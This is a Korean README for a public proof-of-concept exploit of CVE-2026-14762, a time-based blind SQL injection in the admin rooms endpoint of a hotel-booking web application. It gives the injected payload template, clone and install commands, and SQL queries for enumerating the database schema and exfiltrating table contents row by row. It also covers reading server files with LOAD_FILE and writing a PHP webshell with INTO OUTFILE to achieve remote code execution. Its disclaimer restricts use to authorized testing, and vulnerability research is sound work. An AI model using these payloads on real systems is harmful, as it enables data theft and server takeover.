CVE-2026-14762 – Code‑Projects 호텔 및 관광 예약 1.0 SQL 인젝션 익스플로잇

완전한 기능의 멀티스레드 시간 기반 블라인드 SQL 인젝션 익스플로잇 (CVE-2026-14762).
Code‑Projects 호텔 및 관광 예약 애플리케이션(버전 1.0)의 /admin/rooms.php 엔드포인트를 대상으로 합니다.
전체 데이터베이스 열거, 파일 시스템 읽기(LOAD_FILE), 임의 파일 쓰기(INTO OUTFILE / DUMPFILE)를 수행하여 웹셸 배포를 통한 원격 코드 실행으로 이어집니다.

🚀 기능

📦 요구 사항

• Python ≥ 3.11
• Python 패키지:
  • requests
  • urllib3
  • colorama (선택 사항 – 컬러 터미널 출력용)

모든 의존성 설치:

pip install requests urllib3 colorama

📖 사용법

git clone https://github.com/tc4dy/CVE-2026-14762-PoC-Exploit.git

cd CVE-2026-14762-PoC-Exploit

chmod +x exploit.py or basic_exploit.py

📖 명령줄 인수

⚙️ 작동 원리

페이로드 구성

delete 매개변수에 다음이 삽입됩니다:

150' AND IF(<condition>, SLEEP(<delay>), 0) AND '1'='1

IF()는 조건을 평가합니다. true이면 데이터베이스가 초 동안 대기합니다.

이진 검색 문자 추출

각 문자 위치에 대해 ASCII 범위(32–126)에 대한 이진 검색을 통해 > 및 = 비교를 사용하여 올바른 문자를 결정합니다. 이렇게 하면 문자당 요청 수가 95개에서 약 7~8개로 줄어들어 추출이 매우 효율적입니다.

메타데이터 열거

• 데이터베이스 이름: SELECT DATABASE()
• 테이블: SELECT table_name FROM information_schema.tables WHERE table_schema='<db>' LIMIT n,1
• 컬럼: SELECT column_name FROM information_schema.columns WHERE table_schema='<db>' AND table_name='<table>' LIMIT n,1

데이터 유출

• SELECT <col> FROM <table> LIMIT row,1 – 행 단위로 추출
• 각 셀은 동일한 이진 검색 기법을 사용하여 문자 단위로 추출

파일 시스템 상호작용

• 읽기: LOAD_FILE('/path/to/file') – secure_file_priv가 비어 있거나 대상 디렉토리를 가리켜야 함
• 쓰기: SELECT '<content>' INTO OUTFILE '/path/to/shell.php' – FILE 권한이 필요하고 secure_file_priv가 제한적이지 않아야 함

🛡️ 면책 조항

이 도구는 공인된 보안 테스트, 교육 연구 및 취약점 평가 목적으로만 제공됩니다. 저자는 이 소프트웨어의 오용, 불법 활동 또는 손해에 대해 책임을 지지 않습니다. 테스트하기 전에 항상 시스템 소유자로부터 명시적인 서면 허가를 받으십시오.